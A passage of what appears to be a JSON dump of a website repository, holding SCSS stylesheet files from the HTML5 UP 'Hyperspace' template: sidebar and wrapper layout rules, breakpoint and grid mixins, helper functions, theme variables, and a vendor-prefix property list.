1;\r\n\t\t\t\t\tpadding: 0;\r\n\t\t\t\t\tposition: relative;\r\n\r\n\t\t\t\t\t&:first-child {\r\n\t\t\t\t\t\tmargin: 0;\r\n\t\t\t\t\t}\r\n\r\n\t\t\t\t\t@for $i from 1 through _misc(max-sidebar-links) {\r\n\t\t\t\t\t\t&:nth-child(#{$i}) {\r\n\t\t\t\t\t\t\t@include vendor('transition-delay', '#{(_duration(activation) * 0.2 * $i) + (_duration(activation) * 0.25)}');\r\n\t\t\t\t\t\t}\r\n\t\t\t\t\t}\r\n\t\t\t\t}\r\n\t\t\t}\r\n\r\n\t\t\ta {\r\n\t\t\t\t@include vendor('transition', 'color #{_duration(transition)} ease');\r\n\t\t\t\tborder: 0;\r\n\t\t\t\tcolor: _palette(fg-light);\r\n\t\t\t\tdisplay: block;\r\n\t\t\t\tfont-size: 0.6em;\r\n\t\t\t\tfont-weight: _font(weight-bold);\r\n\t\t\t\tletter-spacing: _font(kerning-alt);\r\n\t\t\t\tline-height: 1.75;\r\n\t\t\t\toutline: 0;\r\n\t\t\t\tpadding: 1.35em 0;\r\n\t\t\t\tposition: relative;\r\n\t\t\t\ttext-decoration: none;\r\n\t\t\t\ttext-transform: uppercase;\r\n\r\n\t\t\t\t&:before,\r\n\t\t\t\t&:after {\r\n\t\t\t\t\tborder-radius: 0.2em;\r\n\t\t\t\t\tbottom: 0;\r\n\t\t\t\t\tcontent: '';\r\n\t\t\t\t\theight: 0.2em;\r\n\t\t\t\t\tposition: absolute;\r\n\t\t\t\t\tright: 0;\r\n\t\t\t\t\twidth: 100%;\r\n\t\t\t\t}\r\n\r\n\t\t\t\t&:before {\r\n\t\t\t\t\tbackground: lighten(_palette(bg), 5);\r\n\t\t\t\t}\r\n\r\n\t\t\t\t&:after {\r\n\t\t\t\t\t@include vendor('background-image', 'linear-gradient(to right, #{_palette(accent1)}, #{_palette(accent3)})');\r\n\t\t\t\t\t@include vendor('transition', 'max-width #{_duration(transition)} ease');\r\n\t\t\t\t\tmax-width: 0;\r\n\t\t\t\t}\r\n\r\n\t\t\t\t&:hover {\r\n\t\t\t\t\tcolor: _palette(fg);\r\n\t\t\t\t}\r\n\r\n\t\t\t\t&.active {\r\n\t\t\t\t\tcolor: _palette(fg-bold);\r\n\r\n\t\t\t\t\t&:after {\r\n\t\t\t\t\t\tmax-width: 100%;\r\n\t\t\t\t\t}\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t}\r\n\r\n\t\tbody.is-preload & {\r\n\t\t\t> .inner {\r\n\t\t\t\topacity: 0;\r\n\t\t\t}\r\n\r\n\t\t\tnav {\r\n\t\t\t\tul {\r\n\t\t\t\t\tli {\r\n\t\t\t\t\t\t@include vendor('transform', 'translateY(2em)');\r\n\t\t\t\t\t\topacity: 0;\r\n\t\t\t\t\t}\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t}\r\n\r\n\t\t@include breakpoint('<=large') {\r\n\t\t\theight: _size(sidebar-height);\r\n\t\t\tleft: 0;\r\n\t\t\tline-height: _size(sidebar-height);\r\n\t\t\toverflow: hidden;\r\n\t\t\tpadding: 0;\r\n\t\t\ttext-align: center;\r\n\t\t\ttop: 0;\r\n\t\t\twidth: 100%;\r\n\r\n\t\t\t> .inner {\r\n\t\t\t\t@include vendor('flex-direction', 'row');\r\n\t\t\t\t@include vendor('align-items', 'stretch');\r\n\t\t\t\theight: inherit;\r\n\t\t\t\tline-height: inherit;\r\n\t\t\t}\r\n\r\n\t\t\tnav {\r\n\t\t\t\theight: inherit;\r\n\t\t\t\tline-height: inherit;\r\n\r\n\t\t\t\tul {\r\n\t\t\t\t\t@include vendor('display', 'flex');\r\n\t\t\t\t\theight: inherit;\r\n\t\t\t\t\tline-height: inherit;\r\n\t\t\t\t\tmargin: 0;\r\n\r\n\t\t\t\t\tli {\r\n\t\t\t\t\t\tdisplay: block;\r\n\t\t\t\t\t\theight: inherit;\r\n\t\t\t\t\t\tline-height: inherit;\r\n\t\t\t\t\t\tmargin: 0 0 0 2em;\r\n\t\t\t\t\t\tpadding: 0;\r\n\t\t\t\t\t}\r\n\t\t\t\t}\r\n\r\n\t\t\t\ta {\r\n\t\t\t\t\theight: inherit;\r\n\t\t\t\t\tline-height: inherit;\r\n\t\t\t\t\tpadding: 0;\r\n\r\n\t\t\t\t\t&:after {\r\n\t\t\t\t\t\tbackground-image: none;\r\n\t\t\t\t\t\tbackground-color: _palette(accent3);\r\n\t\t\t\t\t}\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t}\r\n\r\n\t\t@include breakpoint('<=small') {\r\n\t\t\tdisplay: none;\r\n\t\t}\r\n\t}"
  },
  {
    "path": "assets/sass/layout/_wrapper.scss",
    "content": "///\r\n/// Hyperspace by HTML5 UP\r\n/// html5up.net | @ajlkn\r\n/// Free for personal and commercial use under the CCA 3.0 license (html5up.net/license)\r\n///\r\n\r\n/* Wrapper (main) */\r\n\r\n\t#wrapper {\r\n\t\t#sidebar + & {\r\n\t\t\tmargin-left: _size(sidebar-width);\r\n\r\n\t\t\t@include breakpoint('<=large') {\r\n\t\t\t\tmargin-left: 0;\r\n\t\t\t\tpadding-top: _size(sidebar-height);\r\n\t\t\t}\r\n\r\n\t\t\t@include breakpoint('<=small') {\r\n\t\t\t\tpadding-top: 0;\r\n\t\t\t}\r\n\t\t}\r\n\r\n\t\t#header + & {\r\n\t\t\t> .wrapper {\r\n\t\t\t\t> .inner {\r\n\t\t\t\t\tmargin: 0 auto;\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t}\r\n\t}"
  },
  {
    "path": "assets/sass/libs/_breakpoints.scss",
    "content": "// breakpoints.scss v1.0 | @ajlkn | MIT licensed */\n\n// Vars.\n\n\t/// Breakpoints.\n\t/// @var {list}\n\t$breakpoints: () !global;\n\n// Mixins.\n\n\t/// Sets breakpoints.\n\t/// @param {map} $x Breakpoints.\n\t@mixin breakpoints($x: ()) {\n\t\t$breakpoints: $x !global;\n\t}\n\n\t/// Wraps @content in a @media block targeting a specific orientation.\n\t/// @param {string} $orientation Orientation.\n\t@mixin orientation($orientation) {\n\t\t@media screen and (orientation: #{$orientation}) {\n\t\t\t@content;\n\t\t}\n\t}\n\n\t/// Wraps @content in a @media block using a given query.\n\t/// @param {string} $query Query.\n\t@mixin breakpoint($query: null) {\n\n\t\t$breakpoint: null;\n\t\t$op: null;\n\t\t$media: null;\n\n\t\t// Determine operator, breakpoint.\n\n\t\t\t// Greater than or equal.\n\t\t\t\t@if (str-slice($query, 0, 2) == '>=') {\n\n\t\t\t\t\t$op: 'gte';\n\t\t\t\t\t$breakpoint: str-slice($query, 3);\n\n\t\t\t\t}\n\n\t\t\t// Less than or equal.\n\t\t\t\t@elseif (str-slice($query, 0, 2) == '<=') {\n\n\t\t\t\t\t$op: 'lte';\n\t\t\t\t\t$breakpoint: str-slice($query, 3);\n\n\t\t\t\t}\n\n\t\t\t// Greater than.\n\t\t\t\t@elseif (str-slice($query, 0, 1) == '>') {\n\n\t\t\t\t\t$op: 'gt';\n\t\t\t\t\t$breakpoint: str-slice($query, 2);\n\n\t\t\t\t}\n\n\t\t\t// Less than.\n\t\t\t\t@elseif (str-slice($query, 0, 1) == '<') {\n\n\t\t\t\t\t$op: 'lt';\n\t\t\t\t\t$breakpoint: str-slice($query, 2);\n\n\t\t\t\t}\n\n\t\t\t// Not.\n\t\t\t\t@elseif (str-slice($query, 0, 1) == '!') {\n\n\t\t\t\t\t$op: 'not';\n\t\t\t\t\t$breakpoint: str-slice($query, 2);\n\n\t\t\t\t}\n\n\t\t\t// Equal.\n\t\t\t\t@else {\n\n\t\t\t\t\t$op: 'eq';\n\t\t\t\t\t$breakpoint: $query;\n\n\t\t\t\t}\n\n\t\t// Build media.\n\t\t\t@if ($breakpoint and map-has-key($breakpoints, $breakpoint)) {\n\n\t\t\t\t$a: map-get($breakpoints, $breakpoint);\n\n\t\t\t\t// Range.\n\t\t\t\t\t@if (type-of($a) == 'list') {\n\n\t\t\t\t\t\t$x: nth($a, 1);\n\t\t\t\t\t\t$y: nth($a, 2);\n\n\t\t\t\t\t\t// Max only.\n\t\t\t\t\t\t\t@if ($x == null) {\n\n\t\t\t\t\t\t\t\t// Greater than or equal (>= 0 / anything)\n\t\t\t\t\t\t\t\t\t@if ($op == 'gte') {\n\t\t\t\t\t\t\t\t\t\t$media: 'screen';\n\t\t\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\t\t// Less than or equal (<= y)\n\t\t\t\t\t\t\t\t\t@elseif ($op == 'lte') {\n\t\t\t\t\t\t\t\t\t\t$media: 'screen and (max-width: ' + $y + ')';\n\t\t\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\t\t// Greater than (> y)\n\t\t\t\t\t\t\t\t\t@elseif ($op == 'gt') {\n\t\t\t\t\t\t\t\t\t\t$media: 'screen and (min-width: ' + ($y + 1) + ')';\n\t\t\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\t\t// Less than (< 0 / invalid)\n\t\t\t\t\t\t\t\t\t@elseif ($op == 'lt') {\n\t\t\t\t\t\t\t\t\t\t$media: 'screen and (max-width: -1px)';\n\t\t\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\t\t// Not (> y)\n\t\t\t\t\t\t\t\t\t@elseif ($op == 'not') {\n\t\t\t\t\t\t\t\t\t\t$media: 'screen and (min-width: ' + ($y + 1) + ')';\n\t\t\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\t\t// Equal (<= y)\n\t\t\t\t\t\t\t\t\t@else {\n\t\t\t\t\t\t\t\t\t\t$media: 'screen and (max-width: ' + $y + ')';\n\t\t\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t// Min only.\n\t\t\t\t\t\t\t@else if ($y == null) {\n\n\t\t\t\t\t\t\t\t// Greater than or equal (>= x)\n\t\t\t\t\t\t\t\t\t@if ($op == 'gte') {\n\t\t\t\t\t\t\t\t\t\t$media: 'screen and (min-width: ' + $x + ')';\n\t\t\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\t\t// Less than or equal (<= inf / anything)\n\t\t\t\t\t\t\t\t\t@elseif ($op == 'lte') {\n\t\t\t\t\t\t\t\t\t\t$media: 'screen';\n\t\t\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\t\t// Greater than (> inf / invalid)\n\t\t\t\t\t\t\t\t\t@elseif ($op == 'gt') {\n\t\t\t\t\t\t\t\t\t\t$media: 'screen and (max-width: -1px)';\n\t\t\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\t\t// Less than (< x)\n\t\t\t\t\t\t\t\t\t@elseif ($op == 'lt') {\n\t\t\t\t\t\t\t\t\t\t$media: 'screen and (max-width: ' + ($x - 1) + ')';\n\t\t\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\t\t// Not (< x)\n\t\t\t\t\t\t\t\t\t@elseif ($op == 'not') {\n\t\t\t\t\t\t\t\t\t\t$media: 'screen and (max-width: ' + ($x - 1) + ')';\n\t\t\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\t\t// Equal (>= x)\n\t\t\t\t\t\t\t\t\t@else {\n\t\t\t\t\t\t\t\t\t\t$media: 'screen and (min-width: ' + $x + ')';\n\t\t\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t// Min and max.\n\t\t\t\t\t\t\t@else {\n\n\t\t\t\t\t\t\t\t// Greater than or equal (>= x)\n\t\t\t\t\t\t\t\t\t@if ($op == 'gte') {\n\t\t\t\t\t\t\t\t\t\t$media: 'screen and (min-width: ' + $x + ')';\n\t\t\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\t\t// Less than or equal (<= y)\n\t\t\t\t\t\t\t\t\t@elseif ($op == 'lte') {\n\t\t\t\t\t\t\t\t\t\t$media: 'screen and (max-width: ' + $y + ')';\n\t\t\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\t\t// Greater than (> y)\n\t\t\t\t\t\t\t\t\t@elseif ($op == 'gt') {\n\t\t\t\t\t\t\t\t\t\t$media: 'screen and (min-width: ' + ($y + 1) + ')';\n\t\t\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\t\t// Less than (< x)\n\t\t\t\t\t\t\t\t\t@elseif ($op == 'lt') {\n\t\t\t\t\t\t\t\t\t\t$media: 'screen and (max-width: ' + ($x - 1) + ')';\n\t\t\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\t\t// Not (< x and > y)\n\t\t\t\t\t\t\t\t\t@elseif ($op == 'not') {\n\t\t\t\t\t\t\t\t\t\t$media: 'screen and (max-width: ' + ($x - 1) + '), screen and (min-width: ' + ($y + 1) + ')';\n\t\t\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\t\t// Equal (>= x and <= y)\n\t\t\t\t\t\t\t\t\t@else {\n\t\t\t\t\t\t\t\t\t\t$media: 'screen and (min-width: ' + $x + ') and (max-width: ' + $y + ')';\n\t\t\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\t}\n\n\t\t\t\t\t}\n\n\t\t\t\t// String.\n\t\t\t\t\t@else {\n\n\t\t\t\t\t\t// Missing a media type? Prefix with \"screen\".\n\t\t\t\t\t\t\t@if (str-slice($a, 0, 1) == '(') {\n\t\t\t\t\t\t\t\t$media: 'screen and ' + $a;\n\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t// Otherwise, use as-is.\n\t\t\t\t\t\t\t@else {\n\t\t\t\t\t\t\t\t$media: $a;\n\t\t\t\t\t\t\t}\n\n\t\t\t\t\t}\n\n\t\t\t}\n\n\t\t// Output.\n\t        @media #{$media} {\n\t\t\t\t@content;\n\t\t\t}\n\n\t}"
  },
  {
    "path": "assets/sass/libs/_functions.scss",
    "content": "/// Removes a specific item from a list.\r\n/// @author Hugo Giraudel\r\n/// @param {list} $list List.\r\n/// @param {integer} $index Index.\r\n/// @return {list} Updated list.\r\n@function remove-nth($list, $index) {\r\n\r\n\t$result: null;\r\n\r\n\t@if type-of($index) != number {\r\n\t\t@warn \"$index: #{quote($index)} is not a number for `remove-nth`.\";\r\n\t}\r\n\t@else if $index == 0 {\r\n\t\t@warn \"List index 0 must be a non-zero integer for `remove-nth`.\";\r\n\t}\r\n\t@else if abs($index) > length($list) {\r\n\t\t@warn \"List index is #{$index} but list is only #{length($list)} item long for `remove-nth`.\";\r\n\t}\r\n\t@else {\r\n\r\n\t\t$result: ();\r\n\t\t$index: if($index < 0, length($list) + $index + 1, $index);\r\n\r\n\t\t@for $i from 1 through length($list) {\r\n\r\n\t\t\t@if $i != $index {\r\n\t\t\t\t$result: append($result, nth($list, $i));\r\n\t\t\t}\r\n\r\n\t\t}\r\n\r\n\t}\r\n\r\n\t@return $result;\r\n\r\n}\r\n\r\n/// Gets a value from a map.\r\n/// @author Hugo Giraudel\r\n/// @param {map} $map Map.\r\n/// @param {string} $keys Key(s).\r\n/// @return {string} Value.\r\n@function val($map, $keys...) {\r\n\r\n\t@if nth($keys, 1) == null {\r\n\t\t$keys: remove-nth($keys, 1);\r\n\t}\r\n\r\n\t@each $key in $keys {\r\n\t\t$map: map-get($map, $key);\r\n\t}\r\n\r\n\t@return $map;\r\n\r\n}\r\n\r\n/// Gets a duration value.\r\n/// @param {string} $keys Key(s).\r\n/// @return {string} Value.\r\n@function _duration($keys...) {\r\n\t@return val($duration, $keys...);\r\n}\r\n\r\n/// Gets a font value.\r\n/// @param {string} $keys Key(s).\r\n/// @return {string} Value.\r\n@function _font($keys...) {\r\n\t@return val($font, $keys...);\r\n}\r\n\r\n/// Gets a misc value.\r\n/// @param {string} $keys Key(s).\r\n/// @return {string} Value.\r\n@function _misc($keys...) {\r\n\t@return val($misc, $keys...);\r\n}\r\n\r\n/// Gets a palette value.\r\n/// @param {string} $keys Key(s).\r\n/// @return {string} Value.\r\n@function _palette($keys...) {\r\n\t@return val($palette, $keys...);\r\n}\r\n\r\n/// Gets a size value.\r\n/// @param {string} $keys Key(s).\r\n/// @return {string} Value.\r\n@function _size($keys...) {\r\n\t@return val($size, $keys...);\r\n}"
  },
  {
    "path": "assets/sass/libs/_html-grid.scss",
    "content": "// html-grid.scss v1.0 | @ajlkn | MIT licensed */\r\n\r\n// Mixins.\r\n\r\n\t/// Initializes the current element as an HTML grid.\r\n\t/// @param {mixed} $gutters Gutters (either a single number to set both column/row gutters, or a list to set them individually).\r\n\t/// @param {mixed} $suffix Column class suffix (optional; either a single suffix or a list).\r\n\t@mixin html-grid($gutters: 1.5em, $suffix: '') {\r\n\r\n\t\t// Initialize.\r\n\t\t\t$cols: 12;\r\n\t\t\t$multipliers: 0, 0.25, 0.5, 1, 1.50, 2.00;\r\n\t\t\t$unit: 100% / $cols;\r\n\r\n\t\t\t// Suffixes.\r\n\t\t\t\t$suffixes: null;\r\n\r\n\t\t\t\t@if (type-of($suffix) == 'list') {\r\n\t\t\t\t\t$suffixes: $suffix;\r\n\t\t\t\t}\r\n\t\t\t\t@else {\r\n\t\t\t\t\t$suffixes: ($suffix);\r\n\t\t\t\t}\r\n\r\n\t\t\t// Gutters.\r\n\t\t\t\t$guttersCols: null;\r\n\t\t\t\t$guttersRows: null;\r\n\r\n\t\t\t\t@if (type-of($gutters) == 'list') {\r\n\r\n\t\t\t\t\t$guttersCols: nth($gutters, 1);\r\n\t\t\t\t\t$guttersRows: nth($gutters, 2);\r\n\r\n\t\t\t\t}\r\n\t\t\t\t@else {\r\n\r\n\t\t\t\t\t$guttersCols: $gutters;\r\n\t\t\t\t\t$guttersRows: 0;\r\n\r\n\t\t\t\t}\r\n\r\n\t\t// Row.\r\n\t\t\tdisplay: flex;\r\n\t\t\tflex-wrap: wrap;\r\n\t\t\tbox-sizing: border-box;\r\n\t\t\talign-items: stretch;\r\n\r\n\t\t\t// Columns.\r\n\t\t\t\t> * {\r\n\t\t\t\t\tbox-sizing: border-box;\r\n\t\t\t\t}\r\n\r\n\t\t\t// Gutters.\r\n\t\t\t\t&.gtr-uniform {\r\n\t\t\t\t\t> * {\r\n\t\t\t\t\t\t> :last-child {\r\n\t\t\t\t\t\t\tmargin-bottom: 0;\r\n\t\t\t\t\t\t}\r\n\t\t\t\t\t}\r\n\t\t\t\t}\r\n\r\n\t\t\t// Alignment.\r\n\t\t\t\t&.aln-left {\r\n\t\t\t\t\tjustify-content: flex-start;\r\n\t\t\t\t}\r\n\r\n\t\t\t\t&.aln-center {\r\n\t\t\t\t\tjustify-content: center;\r\n\t\t\t\t}\r\n\r\n\t\t\t\t&.aln-right {\r\n\t\t\t\t\tjustify-content: flex-end;\r\n\t\t\t\t}\r\n\r\n\t\t\t\t&.aln-top {\r\n\t\t\t\t\talign-items: flex-start;\r\n\t\t\t\t}\r\n\r\n\t\t\t\t&.aln-middle {\r\n\t\t\t\t\talign-items: center;\r\n\t\t\t\t}\r\n\r\n\t\t\t\t&.aln-bottom {\r\n\t\t\t\t\talign-items: flex-end;\r\n\t\t\t\t}\r\n\r\n\t\t// Step through suffixes.\r\n\t\t\t@each $suffix in $suffixes {\r\n\r\n\t\t\t\t// Suffix.\r\n\t\t\t\t\t@if ($suffix != '') {\r\n\t\t\t\t\t\t$suffix: '-' + $suffix;\r\n\t\t\t\t\t}\r\n\t\t\t\t\t@else {\r\n\t\t\t\t\t\t$suffix: '';\r\n\t\t\t\t\t}\r\n\r\n\t\t\t\t// Row.\r\n\r\n\t\t\t\t\t// Important.\r\n\t\t\t\t\t\t> .imp#{$suffix} {\r\n\t\t\t\t\t\t\torder: -1;\r\n\t\t\t\t\t\t}\r\n\r\n\t\t\t\t\t// Columns, offsets.\r\n\t\t\t\t\t\t@for $i from 1 through $cols {\r\n\t\t\t\t\t\t\t> .col-#{$i}#{$suffix} {\r\n\t\t\t\t\t\t\t\twidth: $unit * $i;\r\n\t\t\t\t\t\t\t}\r\n\r\n\t\t\t\t\t\t\t> .off-#{$i}#{$suffix} {\r\n\t\t\t\t\t\t\t\tmargin-left: $unit * $i;\r\n\t\t\t\t\t\t\t}\r\n\t\t\t\t\t\t}\r\n\r\n\t\t\t\t\t// Step through multipliers.\r\n\t\t\t\t\t\t@each $multiplier in $multipliers {\r\n\r\n\t\t\t\t\t\t\t// Gutters.\r\n\t\t\t\t\t\t\t\t$class: null;\r\n\r\n\t\t\t\t\t\t\t\t@if ($multiplier != 1) {\r\n\t\t\t\t\t\t\t\t\t$class: '.gtr-' + ($multiplier * 100);\r\n\t\t\t\t\t\t\t\t}\r\n\r\n\t\t\t\t\t\t\t\t&#{$class} {\r\n\t\t\t\t\t\t\t\t\tmargin-top: ($guttersRows * $multiplier * -1);\r\n\t\t\t\t\t\t\t\t\tmargin-left: ($guttersCols * $multiplier * -1);\r\n\r\n\t\t\t\t\t\t\t\t\t> * {\r\n\t\t\t\t\t\t\t\t\t\tpadding: ($guttersRows * $multiplier) 0 0 ($guttersCols * $multiplier);\r\n\t\t\t\t\t\t\t\t\t}\r\n\r\n\t\t\t\t\t\t\t\t\t// Uniform.\r\n\t\t\t\t\t\t\t\t\t\t&.gtr-uniform {\r\n\t\t\t\t\t\t\t\t\t\t\tmargin-top: $guttersCols * $multiplier * -1;\r\n\r\n\t\t\t\t\t\t\t\t\t\t\t> * {\r\n\t\t\t\t\t\t\t\t\t\t\t\tpadding-top: $guttersCols * $multiplier;\r\n\t\t\t\t\t\t\t\t\t\t\t}\r\n\t\t\t\t\t\t\t\t\t\t}\r\n\r\n\t\t\t\t\t\t\t\t}\r\n\r\n\t\t\t\t\t\t}\r\n\r\n\t\t\t}\r\n\r\n\t}"
  },
  {
    "path": "assets/sass/libs/_mixins.scss",
    "content": "/// Makes an element's :before pseudoelement a FontAwesome icon.\r\n/// @param {string} $content Optional content value to use.\r\n/// @param {string} $category Optional category to use.\r\n/// @param {string} $where Optional pseudoelement to target (before or after).\r\n@mixin icon($content: false, $category: regular, $where: before) {\r\n\r\n\ttext-decoration: none;\r\n\r\n\t&:#{$where} {\r\n\r\n\t\t@if $content {\r\n\t\t\tcontent: $content;\r\n\t\t}\r\n\r\n\t\t-moz-osx-font-smoothing: grayscale;\r\n\t\t-webkit-font-smoothing: antialiased;\r\n\t\tdisplay: inline-block;\r\n\t\tfont-style: normal;\r\n\t\tfont-variant: normal;\r\n\t\ttext-rendering: auto;\r\n\t\tline-height: 1;\r\n\t\ttext-transform: none !important;\r\n\r\n\t\t@if ($category == brands) {\r\n\t\t\tfont-family: 'Font Awesome 5 Brands';\r\n\t\t}\r\n\t\t@elseif ($category == solid) {\r\n\t\t\tfont-family: 'Font Awesome 5 Free';\r\n\t\t\tfont-weight: 900;\r\n\t\t}\r\n\t\t@else {\r\n\t\t\tfont-family: 'Font Awesome 5 Free';\r\n\t\t\tfont-weight: 400;\r\n\t\t}\r\n\r\n\t}\r\n\r\n}\r\n\r\n/// Applies padding to an element, taking the current element-margin value into account.\r\n/// @param {mixed} $tb Top/bottom padding.\r\n/// @param {mixed} $lr Left/right padding.\r\n/// @param {list} $pad Optional extra padding (in the following order top, right, bottom, left)\r\n/// @param {bool} $important If true, adds !important.\r\n@mixin padding($tb, $lr, $pad: (0,0,0,0), $important: null) {\r\n\r\n\t@if $important {\r\n\t\t$important: '!important';\r\n\t}\r\n\r\n\t$x: 0.1em;\r\n\r\n\t@if unit(_size(element-margin)) == 'rem' {\r\n\t\t$x: 0.1rem;\r\n\t}\r\n\r\n\tpadding: ($tb + nth($pad,1)) ($lr + nth($pad,2)) max($x, $tb - _size(element-margin) + nth($pad,3)) ($lr + nth($pad,4)) #{$important};\r\n\r\n}\r\n\r\n/// Encodes a SVG data URL so IE doesn't choke (via codepen.io/jakob-e/pen/YXXBrp).\r\n/// @param {string} $svg SVG data URL.\r\n/// @return {string} Encoded SVG data URL.\r\n@function svg-url($svg) {\r\n\r\n\t$svg: str-replace($svg, '\"', '\\'');\r\n\t$svg: str-replace($svg, '%', '%25');\r\n\t$svg: str-replace($svg, '<', '%3C');\r\n\t$svg: str-replace($svg, '>', '%3E');\r\n\t$svg: str-replace($svg, '&', '%26');\r\n\t$svg: str-replace($svg, '#', '%23');\r\n\t$svg: str-replace($svg, '{', '%7B');\r\n\t$svg: str-replace($svg, '}', '%7D');\r\n\t$svg: str-replace($svg, ';', '%3B');\r\n\r\n\t@return url(\"data:image/svg+xml;charset=utf8,#{$svg}\");\r\n\r\n}"
  },
  {
    "path": "assets/sass/libs/_vars.scss",
    "content": "// Misc.\r\n\t$misc: (\r\n\t\tz-index-base:\t\t10000,\r\n\t\tmax-features:\t\t20,\r\n\t\tmax-sidebar-links:\t20\r\n\t);\r\n\r\n// Duration.\r\n\t$duration: (\r\n\t\ttransition:\t\t\t0.2s,\r\n\t\tactivation:\t\t\t1s\r\n\t);\r\n\r\n// Size.\r\n\t$size: (\r\n\t\tborder-radius:\t\t0.25em,\r\n\t\tborder-width:\t\t1px,\r\n\t\telement-height:\t\t2.75em,\r\n\t\telement-margin:\t\t2em,\r\n\t\tsidebar-width:\t\t18em,\r\n\t\tsidebar-height:\t\t3.5em,\t// when <=large is active\r\n\t\tinner-width:\t\t75em\r\n\t);\r\n\r\n// Font.\r\n\t$font: (\r\n\t\tfamily:\t\t\t\t(Arial, Helvetica, sans-serif),\r\n\t\tfamily-fixed:\t\t('Courier New', monospace),\r\n\t\tweight:\t\t\t\tnormal,\r\n\t\tweight-bold:\t\tbold,\r\n\t\tkerning-alt:\t\t0.25em\r\n\t);\r\n\r\n// Palette.\r\n\t$palette: (\r\n\t\tbg:\t\t\t\t\t#312450,\r\n\t\tbg-alt:\t\t\t\tdarken(#312450, 5),\r\n\t\tfg:\t\t\t\t\trgba(255,255,255,0.55),\r\n\t\tfg-bold:\t\t\t#ffffff,\r\n\t\tfg-light:\t\t\trgba(255,255,255,0.35),\r\n\t\tborder:\t\t\t\trgba(255,255,255,0.15),\r\n\t\tborder-bg:\t\t\trgba(255,255,255,0.05),\r\n\t\taccent1:\t\t\t#5e42a6,\r\n\t\taccent1-alt:\t\tdarken(#5e42a6, 10),\r\n\t\taccent2:\t\t\t#5052b5,\r\n\t\taccent2-alt:\t\tdarken(#5052b5, 10),\r\n\t\taccent3:\t\t\t#b74e91,\r\n\t\taccent3-alt:\t\tdarken(#b74e91, 10)\r\n\t);"
  },
  {
    "path": "assets/sass/libs/_vendor.scss",
    "content": "// vendor.scss v1.0 | @ajlkn | MIT licensed */\n\n// Vars.\n\n\t/// Vendor prefixes.\n\t/// @var {list}\n\t$vendor-prefixes: (\n\t\t'-moz-',\n\t\t'-webkit-',\n\t\t'-ms-',\n\t\t''\n\t);\n\n\t/// Properties that should be vendorized.\n\t/// Data via caniuse.com, github.com/postcss/autoprefixer, and developer.mozilla.org\n\t/// @var {list}\n\t$vendor-properties: (\n\n\t\t// Animation.\n\t\t\t'animation',\n\t\t\t'animation-delay',\n\t\t\t'animation-direction',\n\t\t\t'animation-duration',\n\t\t\t'animation-fill-mode',\n\t\t\t'animation-iteration-count',\n\t\t\t'animation-name',\n\t\t\t'animation-play-state',\n\t\t\t'animation-timing-function',\n\n\t\t// Appearance.\n\t\t\t'appearance',\n\n\t\t// Backdrop filter.\n\t\t\t'backdrop-filter',\n\n\t\t// Background image options.\n\t\t\t'background-clip',\n\t\t\t'background-origin',\n\t\t\t'background-size',\n\n\t\t// Box sizing.\n\t\t\t'box-sizing',\n\n\t\t// Clip path.\n\t\t\t'clip-path',\n\n\t\t// Filter effects.\n\t\t\t'filter',\n\n\t\t// Flexbox.\n\t\t\t'align-content',\n\t\t\t'align-items',\n\t\t\t'align-self',\n\t\t\t'flex',\n\t\t\t'flex-basis',\n\t\t\t'flex-direction',\n\t\t\t'flex-flow',\n\t\t\t'flex-grow',\n\t\t\t'flex-shrink',\n\t\t\t'flex-wrap',\n\t\t\t'justify-content',\n\t\t\t'order',\n\n\t\t// Font feature.\n\t\t\t'font-feature-settings',\n\t\t\t'font-language-override',\n\t\t\t'font-variant-ligatures',\n\n\t\t// Font kerning.\n\t\t\t'font-kerning',\n\n\t\t// Fragmented borders and backgrounds.\n\t\t\t'box-decoration-break',\n\n\t\t// Grid layout.\n\t\t\t'grid-column',\n\t\t\t'grid-column-align',\n\t\t\t'grid-column-end',\n\t\t\t'grid-column-start',\n\t\t\t'grid-row',\n\t\t\t'grid-row-align',\n\t\t\t'grid-row-end',\n\t\t\t'grid-row-start',\n\t\t\t'grid-template-columns',\n\t\t\t'grid-template-rows',\n\n\t\t// Hyphens.\n\t\t\t'hyphens',\n\t\t\t'word-break',\n\n\t\t// Masks.\n\t\t\t'mask',\n\t\t\t'mask-border',\n\t\t\t'mask-border-outset',\n\t\t\t'mask-border-repeat',\n\t\t\t'mask-border-slice',\n\t\t\t'mask-border-source',\n\t\t\t'mask-border-width',\n\t\t\t'mask-clip',\n\t\t\t'mask-composite',\n\t\t\t'mask-image',\n\t\t\t'mask-origin',\n\t\t\t'mask-position',\n\t\t\t'mask-repeat',\n\t\t\t'mask-size',\n\n\t\t// Multicolumn.\n\t\t\t'break-after',\n\t\t\t'break-before',\n\t\t\t'break-inside',\n\t\t\t'column-count',\n\t\t\t'column-fill',\n\t\t\t'column-gap',\n\t\t\t'column-rule',\n\t\t\t'column-rule-color',\n\t\t\t'column-rule-style',\n\t\t\t'column-rule-width',\n\t\t\t'column-span',\n\t\t\t'column-width',\n\t\t\t'columns',\n\n\t\t// Object fit.\n\t\t\t'object-fit',\n\t\t\t'object-position',\n\n\t\t// Regions.\n\t\t\t'flow-from',\n\t\t\t'flow-into',\n\t\t\t'region-fragment',\n\n\t\t// Scroll snap 